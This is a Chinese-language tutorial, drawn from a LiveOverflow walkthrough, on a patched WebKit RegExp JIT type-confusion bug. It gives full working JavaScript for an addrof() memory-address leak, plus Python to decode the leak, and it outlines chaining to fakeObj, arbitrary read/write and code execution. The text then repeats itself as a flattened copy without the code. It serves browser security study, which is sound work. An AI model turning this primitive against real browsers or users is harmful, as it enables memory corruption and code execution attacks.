WebKit RegExp Exploit addrof() walk-through - browser 0x04
字数 1273 2025-08-05 08:20:09

WebKit RegExp Exploit addrof() 原理解析与利用教程

1. 漏洞概述

本文详细分析WebKit JavaScript引擎中正则表达式(RegExp)实现的一个漏洞,该漏洞允许攻击者通过精心构造的JavaScript代码泄露任意JavaScript对象的内存地址。漏洞的核心在于JIT优化过程中对正则表达式lastIndex属性副作用检查不充分,导致类型混淆。

2. 环境准备

2.1 调试环境设置

# 设置动态加载器框架路径
export DYLD_FRAMEWORK_PATH=~/sources/WebKit.git/WebKitBuild/Debug

# 启用DFG编译时间报告
export JSC_reportDFGCompileTimes=true

# 启用DFG优化时源代码转储
export JSC_dumpSourceAtDFGTime=true

2.2 测试脚本

创建test.js文件用于验证漏洞:

// 地址泄露函数
function addrofInternal(val) {
    var array = [13.37];
    var reg = /abc/y;
    
    function getarray() { return array; }
    
    var AddrGetter = function(array) {
        array = getarray();
        reg[Symbol.match](val === null);
        return array[0];
    };
    
    // 强制JIT优化
    for (var i = 0; i < 10000; ++i) AddrGetter(array);
    
    // 设置漏洞利用
    regexLastIndex = {};
    regexLastIndex.toString = function() {
        array[0] = val;
        return "0";
    };
    reg.lastIndex = regexLastIndex;
    
    return AddrGetter(array);
}

// 测试对象
object = {};
print("对象描述:", describe(object));
print("泄露地址:", addrofInternal(object));

3. 漏洞原理分析

3.1 关键组件

  1. ArrayWithDouble:存储双精度浮点数的数组结构
  2. ArrayWithContiguous:存储对象引用的数组结构
  3. DFG/FTL JIT:WebKit的优化编译器

3.2 漏洞触发流程

  1. 初始状态:创建包含双精度浮点数(13.37)的数组
  2. JIT优化:通过高频调用AddrGetter触发DFG/FTL优化
  3. 类型假设:优化后的代码假设数组始终包含双精度浮点数
  4. 副作用触发:通过lastIndex.toString修改数组内容为对象引用
  5. 类型混淆:优化代码仍以双精度浮点数方式读取对象指针

3.3 关键代码路径

// builtins/RegExpPrototype.js
@overriddenName = "[Symbol.match]"
function match(strArg) {
    ...
    if (!@hasObservableSideEffectsForRegExpMatch(this))
        return @regExpMatchFast.@call(this, str);
    return @matchSlow(this, str);
}

补丁添加的检查:

return typeof regexp.lastIndex !== "number";

4. 漏洞利用详解

4.1 地址泄露原语(addrof)

function addrof(val) {
    for (var i = 0; i < 100; i++) {
        var result = addrofInternal(val);
        if (typeof result != "object" && result !== 13.37) {
            return result;
        }
    }
    throw "地址泄露失败";
}

4.2 地址解码

泄露的地址以双精度浮点数形式返回,需转换为十六进制:

import struct

leak = 5.36780059573437e-310
hex(struct.unpack("Q", struct.pack("d", leak))[0])
# 输出: '0x62d0000d4080'

4.3 利用步骤分解

  1. 创建初始数组var array = [13.37]
  2. 定义Getter函数:包含会被JIT优化的正则匹配操作
  3. 强制JIT优化:高频调用Getter函数
  4. 设置lastIndex钩子:通过toString修改数组内容
  5. 触发漏洞:执行优化后的Getter函数

5. 防御措施

  1. 确保所有可能产生副作用的操作都经过hasObservableSideEffects检查
  2. lastIndex属性访问添加适当的类型检查
  3. 在JIT优化过程中考虑所有可能的类型转换路径

6. 扩展利用

基于此原语可构建更复杂的利用链:

  1. fakeObj原语:将泄露的地址转换回对象
  2. 任意内存读写:通过伪造数组结构实现
  3. 代码执行:覆盖函数指针或JIT代码

7. 参考资料

  1. WebKit源码:builtins/StringPrototype.js
  2. WebKit源码:builtins/RegExpPrototype.js
  3. WebKit源码:DFGAbstractInterpreterInlines.h
  4. 原始漏洞报告:https://liveoverflow.com/webkit-regexp-exploit-addrof-walk-through-browser-0x04/

8. 总结

该漏洞展示了JIT优化过程中类型系统与副作用处理的复杂性,通过精心构造的正则表达式操作,攻击者可以绕过类型检查实现地址泄露。理解此类漏洞有助于开发者编写更安全的JIT编译器,也为安全研究人员提供了浏览器漏洞挖掘的新思路。

WebKit RegExp Exploit addrof() 原理解析与利用教程 1. 漏洞概述 本文详细分析WebKit JavaScript引擎中正则表达式(RegExp)实现的一个漏洞,该漏洞允许攻击者通过精心构造的JavaScript代码泄露任意JavaScript对象的内存地址。漏洞的核心在于JIT优化过程中对正则表达式 lastIndex 属性副作用检查不充分,导致类型混淆。 2. 环境准备 2.1 调试环境设置 2.2 测试脚本 创建 test.js 文件用于验证漏洞: 3. 漏洞原理分析 3.1 关键组件 ArrayWithDouble :存储双精度浮点数的数组结构 ArrayWithContiguous :存储对象引用的数组结构 DFG/FTL JIT :WebKit的优化编译器 3.2 漏洞触发流程 初始状态 :创建包含双精度浮点数(13.37)的数组 JIT优化 :通过高频调用 AddrGetter 触发DFG/FTL优化 类型假设 :优化后的代码假设数组始终包含双精度浮点数 副作用触发 :通过 lastIndex.toString 修改数组内容为对象引用 类型混淆 :优化代码仍以双精度浮点数方式读取对象指针 3.3 关键代码路径 补丁添加的检查: 4. 漏洞利用详解 4.1 地址泄露原语(addrof) 4.2 地址解码 泄露的地址以双精度浮点数形式返回,需转换为十六进制: 4.3 利用步骤分解 创建初始数组 : var array = [13.37] 定义Getter函数 :包含会被JIT优化的正则匹配操作 强制JIT优化 :高频调用Getter函数 设置lastIndex钩子 :通过toString修改数组内容 触发漏洞 :执行优化后的Getter函数 5. 防御措施 确保所有可能产生副作用的操作都经过 hasObservableSideEffects 检查 对 lastIndex 属性访问添加适当的类型检查 在JIT优化过程中考虑所有可能的类型转换路径 6. 扩展利用 基于此原语可构建更复杂的利用链: fakeObj 原语:将泄露的地址转换回对象 任意内存读写 :通过伪造数组结构实现 代码执行 :覆盖函数指针或JIT代码 7. 参考资料 WebKit源码: builtins/StringPrototype.js WebKit源码: builtins/RegExpPrototype.js WebKit源码: DFGAbstractInterpreterInlines.h 原始漏洞报告:https://liveoverflow.com/webkit-regexp-exploit-addrof-walk-through-browser-0x04/ 8. 总结 该漏洞展示了JIT优化过程中类型系统与副作用处理的复杂性,通过精心构造的正则表达式操作,攻击者可以绕过类型检查实现地址泄露。理解此类漏洞有助于开发者编写更安全的JIT编译器,也为安全研究人员提供了浏览器漏洞挖掘的新思路。